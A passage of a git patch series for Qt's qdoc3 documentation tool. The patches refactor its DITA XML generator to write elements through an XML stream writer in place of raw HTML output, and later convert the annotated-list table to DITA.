html; @@ -3079,7 +2961,13 @@ QString DitaXmlGenerator::highlightedCode(const QString& markedCode, for (int i = 0, n = src.size(); i < n;) { if (src.at(i) == charLangle && src.at(i + 1).unicode() == '@') { if (nameAlignment && !done) {// && (i != 0)) Why was this here? - html += ""; + if (!html.isEmpty()) { + writer.writeCharacters(html); + html.clear(); + } + writer.writeEndElement(); // + writer.writeStartElement("entry"); + writer.writeAttribute("outputclass=","memItemRight bottomAlign"); done = true; } i += 2; @@ -3100,36 +2988,6 @@ QString DitaXmlGenerator::highlightedCode(const QString& markedCode, } } - - if (slow) { - // is this block ever used at all? - // replace all <@func> tags: "(<@func target=\"([^\"]*)\">)(.*)()" - src = html; - html = QString(); - static const QString funcTag("func"); - for (int i = 0, n = src.size(); i < n;) { - if (src.at(i) == charLangle && src.at(i + 1) == charAt) { - i += 2; - if (parseArg(src, funcTag, &i, n, &arg, &par1)) { - QString link = linkForNode( - marker->resolveTarget(par1.toString(), - myTree, - relative), - relative); - addLink(link, arg, &html); - par1 = QStringRef(); - } - else { - html += charLangle; - html += charAt; - } - } - else { - html += src.at(i++); - } - } - } - // replace all "(<@(type|headerfile|func)(?: +[^>]*)?>)(.*)()" tags src = html; html = QString(); @@ -3225,8 +3083,8 @@ QString DitaXmlGenerator::highlightedCode(const QString& markedCode, ++i; } } - - return html; + if (!html.isEmpty()) + writer.writeCharacters(html); } void DitaXmlGenerator::generateLink(const Atom* atom, @@ -3406,29 +3264,6 @@ QString DitaXmlGenerator::fileBase(const Node *node) return result; } -#if 0 -QString DitaXmlGenerator::fileBase(const Node *node, - const SectionIterator& section) -{ - QStringList::ConstIterator s = section.sectionNumber().end(); - QStringList::ConstIterator b = section.baseNameStack().end(); - - QString suffix; - QString base = fileBase(node); - - while (s != section.sectionNumber().begin()) { - --s; - --b; - if (!(*b).isEmpty()) { - base = *b; - break; - } - suffix.prepend("-" + *s); - } - return base + suffix; -} -#endif - QString DitaXmlGenerator::fileName(const Node *node) { if (node->type() == Node::Fake) { @@ -3474,23 +3309,19 @@ QString DitaXmlGenerator::refForNode(const Node *node) ref += "-" + QString::number(func->overloadNumber()); } break; -#ifdef QDOC_QML case Node::Fake: if (node->subType() != Node::QmlPropertyGroup) break; case Node::QmlProperty: -#endif case Node::Property: ref = node->name() + "-prop"; break; -#ifdef QDOC_QML case Node::QmlSignal: ref = node->name() + "-signal"; break; case Node::QmlMethod: ref = node->name() + "-method"; break; -#endif case Node::Variable: ref = node->name() + "-var"; break; @@ -3542,59 +3373,54 @@ QString DitaXmlGenerator::refForAtom(Atom *atom, const Node * /* node */) } } -void DitaXmlGenerator::generateFullName(const Node *apparentNode, - const Node *relative, - CodeMarker *marker, - const Node *actualNode) +void DitaXmlGenerator::generateFullName(const Node* apparentNode, + const Node* relative, + CodeMarker* marker, + const Node* actualNode) { if (actualNode == 0) actualNode = apparentNode; - out() << "status() != actualNode->status()) { switch (actualNode->status()) { case Node::Obsolete: - out() << "\" class=\"obsolete"; + writer.writeAttribute("outputclass","obsolete"); break; case Node::Compat: - out() << "\" class=\"compat"; + writer.writeAttribute("outputclass","compat"); break; default: ; } } - out() << "\">"; - out() << protectEnc(fullName(apparentNode, relative, marker)); - out() << ""; + writer.writeCharacters(protectEnc(fullName(apparentNode, relative, marker))); + writer.writeEndElement(); // } -void DitaXmlGenerator::generateDetailedMember(const Node *node, - const InnerNode *relative, - CodeMarker *marker) +void DitaXmlGenerator::generateDetailedMember(const Node* node, + const InnerNode* relative, + CodeMarker* marker) { - const EnumNode *enume; + QString marked; + const EnumNode* en; -#ifdef GENERATE_MAC_REFS - generateMacRef(node, marker); -#endif - if (node->type() == Node::Enum - && (enume = static_cast(node))->flagsType()) { -#ifdef GENERATE_MAC_REFS - generateMacRef(enume->flagsType(), marker); -#endif + if ((node->type() == Node::Enum) && + (en = static_cast(node))->flagsType()) { out() << "

    "; out() << ""; - generateSynopsis(enume, relative, marker, CodeMarker::Detailed); + marked = getMarkedUpSynopsis(en, relative, marker, CodeMarker::Detailed); + writeText(marked, marker, relative); out() << "
    "; - generateSynopsis(enume->flagsType(), - relative, - marker, - CodeMarker::Detailed); + marked = getMarkedUpSynopsis(en->flagsType(),relative,marker,CodeMarker::Detailed); + writeText(marked,marker,relative); out() << "

    \n"; } else { out() << "

    "; out() << ""; - generateSynopsis(node, relative, marker, CodeMarker::Detailed); + marked = getMarkedUpSynopsis(node,relative,marker,CodeMarker::Detailed); + writeText(marked,marker,relative); out() << "

    \n"; } @@ -3626,14 +3452,14 @@ void DitaXmlGenerator::generateDetailedMember(const Node *node, } } else if (node->type() == Node::Enum) { - const EnumNode *enume = static_cast(node); - if (enume->flagsType()) { - out() << "

    The " << protectEnc(enume->flagsType()->name()) + en = static_cast(node); + if (en->flagsType()) { + out() << "

    The " << protectEnc(en->flagsType()->name()) << " type is a typedef for " << "QFlags<" - << protectEnc(enume->name()) + << protectEnc(en->name()) << ">. It stores an OR combination of " - << protectEnc(enume->name()) + << protectEnc(en->name()) << " values.

    \n"; } } @@ -3694,8 +3520,8 @@ void DitaXmlGenerator::findAllClasses(const InnerNode *node) } /*! - For generating the "New Classes... in 4.6" section on the - What's New in 4.6" page. + For generating the "New Classes... in 4.x" section on the + What's New in 4.x" page. */ void DitaXmlGenerator::findAllSince(const InnerNode *node) { @@ -3757,13 +3583,6 @@ void DitaXmlGenerator::findAllSince(const InnerNode *node) } } -#if 0 - const QRegExp versionSeparator("[\\-\\.]"); - const int minorIndex = version.indexOf(versionSeparator); - const int patchIndex = version.indexOf(versionSeparator, minorIndex+1); - version = version.left(patchIndex); -#endif - void DitaXmlGenerator::findAllFunctions(const InnerNode *node) { NodeList::ConstIterator c = node->childNodes().begin(); @@ -3835,12 +3654,6 @@ int DitaXmlGenerator::hOffset(const Node *node) return 2; case Node::Fake: return 1; -#if 0 - if (node->doc().briefText().isEmpty()) - return 1; - else - return 2; -#endif case Node::Enum: case Node::Typedef: case Node::Function: @@ -3986,14 +3799,6 @@ QString DitaXmlGenerator::getLink(const Atom *atom, << (*node)->name() << "no relative"; } } -#if 0 - else if ((*node)->status() == Node::Deprecated) { - qDebug() << "Link to Deprecated entity"; - } - else if ((*node)->status() == Node::Internal) { - qDebug() << "Link to Internal entity"; - } -#endif } while (!path.isEmpty()) { @@ -4070,21 +3875,6 @@ void DitaXmlGenerator::generateStatus(const Node *node, CodeMarker *marker) } } -#ifdef GENERATE_MAC_REFS -/* - No longer valid. - */ -void DitaXmlGenerator::generateMacRef(const Node *node, CodeMarker *marker) -{ - if (!pleaseGenerateMacRef || marker == 0) - return; - - QStringList macRefs = marker->macRefsForNode(node); - foreach (const QString &macRef, macRefs) - out() << "\n"; -} -#endif - void DitaXmlGenerator::beginLink(const QString &link, const Node *node, const Node *relative, @@ -4143,8 +3933,6 @@ void DitaXmlGenerator::endLink() inObsoleteLink = false; } -#ifdef QDOC_QML - /*! Generates the summary for the \a section. Only used for sections of QML element documentation. @@ -4196,10 +3984,8 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node *node, const InnerNode *relative, CodeMarker *marker) { + QString marked; const QmlPropertyNode* qpn = 0; -#ifdef GENERATE_MAC_REFS - generateMacRef(node, marker); -#endif out() << "
    "; if (node->subType() == Node::QmlPropertyGroup) { const QmlPropGroupNode* qpgn = static_cast(node); @@ -4242,7 +4028,8 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node *node, out() << ""; out() << "

    "; out() << ""; - generateSynopsis(qsn,relative,marker,CodeMarker::Detailed,false); + marked = getMarkedUpSynopsis(qsn, relative, marker, CodeMarker::Detailed); + writeText(marked, marker, relative); //generateQmlItem(qsn,relative,marker,false); out() << "

    "; out() << ""; @@ -4259,7 +4046,8 @@ void DitaXmlGenerator::generateDetailedQmlMember(const Node *node, out() << ""; out() << "

    "; out() << ""; - generateSynopsis(qmn,relative,marker,CodeMarker::Detailed,false); + marked = getMarkedUpSynopsis(qmn, relative, marker, CodeMarker::Detailed); + writeText(marked, marker, relative); out() << "

    "; out() << ""; out() << "
    "; @@ -4510,8 +4298,6 @@ void DitaXmlGenerator::generatePageIndex(const QString& fileName, CodeMarker* ma file.close(); } -#endif - /*! Return the full qualification of the node \a n, but without the name of \a n itself. e.g. A::B::C @@ -4537,6 +4323,26 @@ QString DitaXmlGenerator::fullQualification(const Node* n) return fq; } +/*! + Outputs the element. + \code + + + ... + + ... + + \endcode + + The element is: + + \code + + + Base + + \endcode + */ void DitaXmlGenerator::writeDerivations(const ClassNode* cn, CodeMarker* marker) { QList::ConstIterator r; @@ -4551,17 +4357,31 @@ void DitaXmlGenerator::writeDerivations(const ClassNode* cn, CodeMarker* marker) writer.writeStartElement(CXXCLASSDERIVATIONACCESSSPECIFIER); writer.writeAttribute("value",(*r).accessString()); writer.writeEndElement(); // + + // not included: + writer.writeStartElement(CXXCLASSBASECLASS); writer.writeAttribute("href",(*r).node->ditaXmlHref()); writer.writeCharacters(marker->plainFullName((*r).node)); writer.writeEndElement(); // + + // not included: or + writer.writeEndElement(); // + + // not included: + ++r; } writer.writeEndElement(); // } } +/*! + Writes a element, depending on the + type of the node \a n, which can be a class, function, enum, + typedef, or property. + */ void DitaXmlGenerator::writeLocation(const Node* n) { QString s1, s2, s3; @@ -4601,9 +4421,16 @@ void DitaXmlGenerator::writeLocation(const Node* n) QString lineNr; writer.writeAttribute("value",lineNr.setNum(n->location().lineNo())); writer.writeEndElement(); // DeclarationFileLine> + + // not included: , , + // and + writer.writeEndElement(); // ApiItemLocation> } +/*! + Write the elements. + */ void DitaXmlGenerator::writeFunctions(const Section& s, const ClassNode* cn, CodeMarker* marker) @@ -4615,28 +4442,42 @@ void DitaXmlGenerator::writeFunctions(const Section& s, writer.writeStartElement(CXXFUNCTION); writer.writeAttribute("id",fn->guid()); writer.writeStartElement(APINAME); + if (fn->metaness() == FunctionNode::Signal) + writer.writeAttribute("class","signal"); + else if (fn->metaness() == FunctionNode::Slot) + writer.writeAttribute("class","slot"); writer.writeCharacters(fn->name()); writer.writeEndElement(); // generateBrief(fn,marker); + + // not included: + writer.writeStartElement(CXXFUNCTIONDETAIL); writer.writeStartElement(CXXFUNCTIONDEFINITION); writer.writeStartElement(CXXFUNCTIONACCESSSPECIFIER); writer.writeAttribute("value",fn->accessString()); writer.writeEndElement(); // + // not included: + if (fn->isStatic()) { writer.writeStartElement(CXXFUNCTIONSTORAGECLASSSPECIFIERSTATIC); writer.writeAttribute("name","static"); writer.writeAttribute("value","static"); writer.writeEndElement(); // } - + + // not included: , + if (fn->isConst()) { writer.writeStartElement(CXXFUNCTIONCONST); writer.writeAttribute("name","const"); writer.writeAttribute("value","const"); writer.writeEndElement(); // } + + // not included: + // virtualness() != FunctionNode::NonVirtual) { writer.writeStartElement(CXXFUNCTIONVIRTUAL); @@ -4668,6 +4509,9 @@ void DitaXmlGenerator::writeFunctions(const Section& s, writer.writeCharacters(fn->returnType()); writer.writeEndElement(); // } + + // not included: + QString fq = fullQualification(fn); if (!fq.isEmpty()) { writer.writeStartElement(CXXFUNCTIONSCOPEDNAME); @@ -4707,6 +4551,9 @@ void DitaXmlGenerator::writeFunctions(const Section& s, } writer.writeEndElement(); // + + // not included: ,
    , or + writer.writeEndElement(); // writer.writeEndElement(); // @@ -4719,6 +4566,9 @@ void DitaXmlGenerator::writeFunctions(const Section& s, } } +/*! + This function writes the element. + */ void DitaXmlGenerator::writeParameters(const FunctionNode* fn, CodeMarker* marker) { const QList& parameters = fn->parameters(); @@ -4735,11 +4585,17 @@ void DitaXmlGenerator::writeParameters(const FunctionNode* fn, CodeMarker* marke writer.writeStartElement(CXXFUNCTIONPARAMETERDECLARATIONNAME); writer.writeCharacters((*p).name()); writer.writeEndElement(); // + + // not included: + if (!(*p).defaultValue().isEmpty()) { writer.writeStartElement(CXXFUNCTIONPARAMETERDEFAULTVALUE); writer.writeCharacters((*p).defaultValue()); writer.writeEndElement(); // } + + // not included: + writer.writeEndElement(); // ++p; } @@ -4747,6 +4603,9 @@ void DitaXmlGenerator::writeParameters(const FunctionNode* fn, CodeMarker* marke } } +/*! + This function writes the enum types. + */ void DitaXmlGenerator::writeEnumerations(const Section& s, const ClassNode* cn, CodeMarker* marker) @@ -4761,6 +4620,9 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, writer.writeCharacters(en->name()); writer.writeEndElement(); // generateBrief(en,marker); + + // not included + writer.writeStartElement(CXXENUMERATIONDETAIL); writer.writeStartElement(CXXENUMERATIONDEFINITION); writer.writeStartElement(CXXENUMERATIONACCESSSPECIFIER); @@ -4797,6 +4659,8 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, writer.writeCharacters(en->parent()->name() + "::" + en->name()); writer.writeEndElement(); // + // not included: + if (!items.isEmpty()) { writer.writeStartElement(CXXENUMERATORS); QList::ConstIterator i = items.begin(); @@ -4824,6 +4688,9 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, writer.writeAttribute("value", (*i).value()); writer.writeEndElement(); // } + + // not included: + if (!(*i).text().isEmpty()) { writer.writeStartElement(APIDESC); generateText((*i).text(), en, marker); @@ -4844,13 +4711,22 @@ void DitaXmlGenerator::writeEnumerations(const Section& s, } writer.writeEndElement(); // + + // not included: ,
    , or + writer.writeEndElement(); // + + // not included: + writer.writeEndElement(); // } ++m; } } +/*! + This function writes the output for the \typedef commands. + */ void DitaXmlGenerator::writeTypedefs(const Section& s, const ClassNode* cn, CodeMarker* marker) @@ -4865,22 +4741,32 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, writer.writeCharacters(tn->name()); writer.writeEndElement(); // generateBrief(tn,marker); + + // not included: + writer.writeStartElement(CXXTYPEDEFDETAIL); writer.writeStartElement(CXXTYPEDEFDEFINITION); writer.writeStartElement(CXXTYPEDEFACCESSSPECIFIER); writer.writeAttribute("value",tn->accessString()); writer.writeEndElement(); // + // not included: + QString fq = fullQualification(tn); if (!fq.isEmpty()) { writer.writeStartElement(CXXTYPEDEFSCOPEDNAME); writer.writeCharacters(fq); writer.writeEndElement(); // } + + // not included: + writer.writeStartElement(CXXTYPEDEFNAMELOOKUP); writer.writeCharacters(tn->parent()->name() + "::" + tn->name()); writer.writeEndElement(); // - + + // not included: + writeLocation(tn); writer.writeEndElement(); // writer.writeStartElement(APIDESC); @@ -4890,13 +4776,23 @@ void DitaXmlGenerator::writeTypedefs(const Section& s, } writer.writeEndElement(); // + + // not included: ,
    , or + writer.writeEndElement(); // + + // not included: + writer.writeEndElement(); // } ++m; } } +/*! + This function writes the output for the \property commands. + This is the Q_PROPERTYs. + */ void DitaXmlGenerator::writeProperties(const Section& s, const ClassNode* cn, CodeMarker* marker) @@ -4911,12 +4807,20 @@ void DitaXmlGenerator::writeProperties(const Section& s, writer.writeCharacters(pn->name()); writer.writeEndElement(); // generateBrief(pn,marker); + + // not included: + writer.writeStartElement(CXXVARIABLEDETAIL); writer.writeStartElement(CXXVARIABLEDEFINITION); writer.writeStartElement(CXXVARIABLEACCESSSPECIFIER); writer.writeAttribute("value",pn->accessString()); writer.writeEndElement(); // + // not included: , + // , + // , + // , + if (!pn->qualifiedDataType().isEmpty()) { writer.writeStartElement(CXXVARIABLEDECLAREDTYPE); writer.writeCharacters(pn->qualifiedDataType()); @@ -4934,10 +4838,10 @@ void DitaXmlGenerator::writeProperties(const Section& s, writer.writeCharacters(pn->qualifiedDataType()); writer.writeCharacters(" "); writer.writeCharacters(pn->name()); - writePropParams("READ",pn->getters()); - writePropParams("WRITE",pn->setters()); - writePropParams("RESET",pn->resetters()); - writePropParams("NOTIFY",pn->notifiers()); + writePropertyParameter("READ",pn->getters()); + writePropertyParameter("WRITE",pn->setters()); + writePropertyParameter("RESET",pn->resetters()); + writePropertyParameter("NOTIFY",pn->notifiers()); if (pn->isDesignable() != pn->designableDefault()) { writer.writeCharacters(" DESIGNABLE "); if (!pn->runtimeDesignabilityFunction().isEmpty()) @@ -4988,13 +4892,22 @@ void DitaXmlGenerator::writeProperties(const Section& s, } writer.writeEndElement(); // + + // not included: ,
    , or + writer.writeEndElement(); // + + // not included: + writer.writeEndElement(); // } ++m; } } +/*! + This function outputs the nodes resulting from \variable commands. + */ void DitaXmlGenerator::writeDataMembers(const Section& s, const ClassNode* cn, CodeMarker* marker) @@ -5009,12 +4922,17 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, writer.writeCharacters(vn->name()); writer.writeEndElement(); // generateBrief(vn,marker); + + // not included: + writer.writeStartElement(CXXVARIABLEDETAIL); writer.writeStartElement(CXXVARIABLEDEFINITION); writer.writeStartElement(CXXVARIABLEACCESSSPECIFIER); writer.writeAttribute("value",vn->accessString()); writer.writeEndElement(); // + // not included: + if (vn->isStatic()) { writer.writeStartElement(CXXVARIABLESTORAGECLASSSPECIFIERSTATIC); writer.writeAttribute("name","static"); @@ -5022,6 +4940,9 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, writer.writeEndElement(); // } + // not included: , + // , + writer.writeStartElement(CXXVARIABLEDECLAREDTYPE); writer.writeCharacters(vn->leftType()); if (!vn->rightType().isEmpty()) @@ -5047,6 +4968,8 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, writer.writeCharacters(vn->parent()->name() + "::" + vn->name()); writer.writeEndElement(); // + // not included: + writeLocation(vn); writer.writeEndElement(); // writer.writeStartElement(APIDESC); @@ -5056,13 +4979,22 @@ void DitaXmlGenerator::writeDataMembers(const Section& s, } writer.writeEndElement(); // + + // not included: ,
    , + writer.writeEndElement(); // + + // not included: + writer.writeEndElement(); // } ++m; } } +/*! + This function writes a \macro as a . + */ void DitaXmlGenerator::writeMacros(const Section& s, const ClassNode* cn, CodeMarker* marker) @@ -5078,6 +5010,9 @@ void DitaXmlGenerator::writeMacros(const Section& s, writer.writeCharacters(fn->name()); writer.writeEndElement(); // generateBrief(fn,marker); + + // not included: + writer.writeStartElement(CXXDEFINEDETAIL); writer.writeStartElement(CXXDEFINEDEFINITION); writer.writeStartElement(CXXDEFINEACCESSSPECIFIER); @@ -5125,6 +5060,9 @@ void DitaXmlGenerator::writeMacros(const Section& s, writer.writeStartElement(CXXDEFINEPARAMETERDECLARATIONNAME); writer.writeCharacters(params[i]); writer.writeEndElement(); // + + // not included: + writer.writeEndElement(); // } writer.writeEndElement(); // @@ -5140,7 +5078,13 @@ void DitaXmlGenerator::writeMacros(const Section& s, } writer.writeEndElement(); // + + // not included: ,
    , or + writer.writeEndElement(); // + + // not included: + writer.writeEndElement(); // } } @@ -5148,7 +5092,12 @@ void DitaXmlGenerator::writeMacros(const Section& s, } } -void DitaXmlGenerator::writePropParams(const QString& tag, const NodeList& nlist) +/*! + This function writes one parameter of a Q_PROPERTY macro. + The property is identified by \a tag ("READ" "WRIE" etc), + and it is found in the 'a nlist. + */ +void DitaXmlGenerator::writePropertyParameter(const QString& tag, const NodeList& nlist) { NodeList::const_iterator n = nlist.begin(); while (n != nlist.end()) { @@ -5161,3 +5110,192 @@ void DitaXmlGenerator::writePropParams(const QString& tag, const NodeList& nlist } QT_END_NAMESPACE + +#ifdef TO_BE_INCLUDED_IN_API_DESC + Text subtitleText; + if (rawTitle != fullTitle) + subtitleText << "(" << Atom(Atom::AutoLink, fullTitle) << ")" + << Atom(Atom::LineBreak); + + QString shortVersion; + shortVersion = project + " " + shortVersion + ": "; + shortVersion = myTree->version(); + if (shortVersion.count(QChar('.')) == 2) + shortVersion.truncate(shortVersion.lastIndexOf(QChar('.'))); + if (!shortVersion.isEmpty()) { + if (project == "QSA") + shortVersion = "QSA " + shortVersion + ": "; + else + shortVersion = "Qt " + shortVersion + ": "; + } + + out() << " " << shortVersion << protectEnc(title) << "\n"; + +#if 0 + out() << QString(postHeader).replace("\\" + COMMAND_VERSION, myTree->version()); + generateBreadCrumbs(title,node,marker); + out() << QString(postPostHeader).replace("\\" + COMMAND_VERSION, myTree->version()); +#endif + + sections = marker->sections(inner, CodeMarker::Summary, CodeMarker::Okay); + generateTableOfContents(inner,marker,§ions); + generateTitle(title, subtitleText, SmallSubTitle, inner, marker); + + if (cn && !cn->qmlElement().isEmpty()) { + generateInstantiatedBy(cn,marker); + } + + generateBrief(inner, marker); + generateIncludes(inner, marker); + generateStatus(inner, marker); + if (cn) { + generateInherits(cn, marker); + generateInheritedBy(cn, marker); + } + generateThreadSafeness(inner, marker); + generateSince(inner, marker); + + out() << "
      \n"; + + QString membersLink = generateListOfAllMemberFile(inner, marker); + if (!membersLink.isEmpty()) + out() << "
    • " + << "List of all members, including inherited members
    • \n"; + + QString obsoleteLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Obsolete); + if (!obsoleteLink.isEmpty()) + out() << "
    • " + << "Obsolete members
    • \n"; + + QString compatLink = generateLowStatusMemberFile(inner, + marker, + CodeMarker::Compat); + if (!compatLink.isEmpty()) + out() << "
    • " + << "Qt 3 support members
    • \n"; + + out() << "
    \n"; + + bool needOtherSection = false; + + /* + sections is built above for the call to generateTableOfContents(). + */ + s = sections.begin(); + while (s != sections.end()) { + if (s->members.isEmpty() && s->reimpMembers.isEmpty()) { + if (!s->inherited.isEmpty()) + needOtherSection = true; + } + else { + if (!s->members.isEmpty()) { + out() << "
    \n"; + out() << "\n"; + out() << "

    " << protectEnc((*s).name) << "

    \n"; + generateSection(s->members, inner, marker, CodeMarker::Summary); + } + if (!s->reimpMembers.isEmpty()) { + QString name = QString("Reimplemented ") + (*s).name; + out() << "
    \n"; + out() << "\n"; + out() << "

    " << protectEnc(name) << "

    \n"; + generateSection(s->reimpMembers, inner, marker, CodeMarker::Summary); + } + + if (!s->inherited.isEmpty()) { + out() << "
      \n"; + generateSectionInheritedList(*s, inner, marker, true); + out() << "
    \n"; + } + } + ++s; + } + + if (needOtherSection) { + out() << "

    Additional Inherited Members

    \n" + "
      \n"; + + s = sections.begin(); + while (s != sections.end()) { + if (s->members.isEmpty() && !s->inherited.isEmpty()) + generateSectionInheritedList(*s, inner, marker); + ++s; + } + out() << "
    \n"; + } + + out() << "\n"; + + if (!inner->doc().isEmpty()) { + out() << "
    \n" + << "
    \n" // QTBUG-9504 + << "

    " << "Detailed Description" << "

    \n"; + generateBody(inner, marker); + out() << "
    \n"; // QTBUG-9504 + generateAlsoList(inner, marker); + } + + sections = marker->sections(inner, CodeMarker::Detailed, CodeMarker::Okay); + s = sections.begin(); + while (s != sections.end()) { + out() << "
    \n"; + if (!(*s).divClass.isEmpty()) + out() << "
    \n"; // QTBUG-9504 + out() << "

    " << protectEnc((*s).name) << "

    \n"; + + NodeList::ConstIterator m = (*s).members.begin(); + while (m != (*s).members.end()) { + if ((*m)->access() != Node::Private) { // ### check necessary? + if ((*m)->type() != Node::Class) + generateDetailedMember(*m, inner, marker); + else { + out() << "

    class "; + generateFullName(*m, inner, marker); + out() << "

    "; + generateBrief(*m, marker, inner); + } + + QStringList names; + names << (*m)->name(); + if ((*m)->type() == Node::Function) { + const FunctionNode *func = reinterpret_cast(*m); + if (func->metaness() == FunctionNode::Ctor || + func->metaness() == FunctionNode::Dtor || + func->overloadNumber() != 1) + names.clear(); + } + else if ((*m)->type() == Node::Property) { + const PropertyNode *prop = reinterpret_cast(*m); + if (!prop->getters().isEmpty() && + !names.contains(prop->getters().first()->name())) + names << prop->getters().first()->name(); + if (!prop->setters().isEmpty()) + names << prop->setters().first()->name(); + if (!prop->resetters().isEmpty()) + names << prop->resetters().first()->name(); + } + else if ((*m)->type() == Node::Enum) { + const EnumNode *enume = reinterpret_cast(*m); + if (enume->flagsType()) + names << enume->flagsType()->name(); + + foreach (const QString &enumName, + enume->doc().enumItemNames().toSet() - + enume->doc().omitEnumItemNames().toSet()) + names << plainCode(marker->markedUpEnumValue(enumName, + enume)); + } + } + ++m; + } + if (!(*s).divClass.isEmpty()) + out() << "
    \n"; // QTBUG-9504 + ++s; + } +#endif // TO_BE_INCLUDED_IN_API_DESC diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index 446f735..91d7147 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -133,7 +133,7 @@ class DitaXmlGenerator : public PageGenerator void writeMacros(const Section& s, const ClassNode* cn, CodeMarker* marker); - void writePropParams(const QString& tag, const NodeList& nlist); + void writePropertyParameter(const QString& tag, const NodeList& nlist); private: enum SubTitleSize { SmallSubTitle, LargeSubTitle }; @@ -205,20 +205,18 @@ class DitaXmlGenerator : public PageGenerator const Node *relative, CodeMarker *marker, CodeMarker::SynopsisStyle style); - void generateSynopsis(const Node *node, - const Node *relative, - CodeMarker *marker, - CodeMarker::SynopsisStyle style, - bool nameAlignment = false); + QString getMarkedUpSynopsis(const Node *node, + const Node *relative, + CodeMarker *marker, + CodeMarker::SynopsisStyle style); void generateSectionInheritedList(const Section& section, const Node *relative, CodeMarker *marker, bool nameAlignment = false); - QString highlightedCode(const QString& markedCode, - CodeMarker *marker, - const Node *relative, - CodeMarker::SynopsisStyle style = CodeMarker::Accessors, - bool nameAlignment = false); + void writeText(const QString& markedCode, + CodeMarker *marker, + const Node *relative, + bool nameAlignment = false); void generateFullName(const Node *apparentNode, const Node *relative, @@ -280,6 +278,7 @@ class DitaXmlGenerator : public PageGenerator bool inContents; bool inSectionHeading; bool inTableHeader; + bool inTableBody; int numTableRows; bool threeColumnEnumValueTable; bool offlineDocs; @@ -302,6 +301,7 @@ class DitaXmlGenerator : public PageGenerator bool slow; bool obsoleteLinks; int noLinks; + int tableColumnCount; QMap moduleClassMap; QMap moduleNamespaceMap; NodeMap nonCompatClasses; diff --git a/tools/qdoc3/node.cpp b/tools/qdoc3/node.cpp index 41f90d5..ce53b86 100644 --- a/tools/qdoc3/node.cpp +++ b/tools/qdoc3/node.cpp @@ -1152,8 +1152,8 @@ QString Parameter::reconstruct(bool value) const if (!p.endsWith(QChar('*')) && !p.endsWith(QChar('&')) && !p.endsWith(QChar(' '))) p += " "; p += nam; - if (value) - p += def; + if (value && !def.isEmpty()) + p += " = " + def; return p; } diff --git a/tools/qdoc3/pagegenerator.cpp b/tools/qdoc3/pagegenerator.cpp index a187c2e..39ee98b 100644 --- a/tools/qdoc3/pagegenerator.cpp +++ b/tools/qdoc3/pagegenerator.cpp @@ -273,6 +273,11 @@ QString PageGenerator::outFileName() return QFileInfo(static_cast(out().device())->fileName()).fileName(); } +/*! + Creates the file named \a fileName in the output directory. + Attaches a QTextStream to the created file, which is written + to all over the place using out(). + */ void PageGenerator::beginSubPage(const Location& location, const QString& fileName) { @@ -285,6 +290,11 @@ void PageGenerator::beginSubPage(const Location& location, outStreamStack.push(out); } +/*! + Flush the text stream associated with the subpage, and + then pop it off the text stream stack and delete it. + This terminates output of the subpage. + */ void PageGenerator::endSubPage() { outStreamStack.top()->flush(); -- cgit v0.12 From 7a3273ebbbff161e84c87de01e448047ffa0f2b5 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 7 Sep 2010 13:20:26 +0200 Subject: qdoc: Generate correct dita table for the annotated list. --- tools/qdoc3/ditaxmlgenerator.cpp | 47 +++++++++++++++++++++++++--------------- 1 file changed, 30 insertions(+), 17 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 3d1c53e..93fd523 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -2239,43 +2239,56 @@ void DitaXmlGenerator::generateClassHierarchy(const Node *relative, } } -void DitaXmlGenerator::generateAnnotatedList(const Node *relative, - CodeMarker *marker, - const NodeMap &nodeMap) +void DitaXmlGenerator::generateAnnotatedList(const Node* relative, + CodeMarker* marker, + const NodeMap& nodeMap) { - out() << "\n"; + writer.writeStartElement("table"); + writer.writeAttribute("outputclass","annotated"); + writer.writeStartElement("tgroup"); + writer.writeAttribute("cols","2"); + writer.writeStartElement("tbody"); int row = 0; - foreach (const QString &name, nodeMap.keys()) { - const Node *node = nodeMap[name]; + foreach (const QString& name, nodeMap.keys()) { + const Node* node = nodeMap[name]; if (node->status() == Node::Obsolete) continue; + writer.writeStartElement("row"); if (++row % 2 == 1) - out() << ""; + writer.writeAttribute("outputclass","odd topAlign"); else - out() << ""; - out() << ""; + writer.writeEndElement(); //

    + writer.writeEndElement(); // if (!(node->type() == Node::Fake)) { Text brief = node->doc().trimmedBriefText(name); if (!brief.isEmpty()) { - out() << ""; + writer.writeEndElement(); //

    + writer.writeEndElement(); // } } else { - out() << ""; + writer.writeStartElement("entry"); + writer.writeStartElement("p"); + writer.writeCharacters(protectEnc(node->doc().briefText().toString())); + writer.writeEndElement(); //

    + writer.writeEndElement(); // } - out() << "\n"; + writer.writeEndElement(); // } - out() << "

    "; + writer.writeAttribute("outputclass","even topAlign"); + writer.writeStartElement("entry"); + writer.writeStartElement("p"); generateFullName(node, relative, marker); - out() << "

    "; + writer.writeStartElement("entry"); + writer.writeStartElement("p"); generateText(brief, node, marker); - out() << "

    "; - out() << protectEnc(node->doc().briefText().toString()); - out() << "

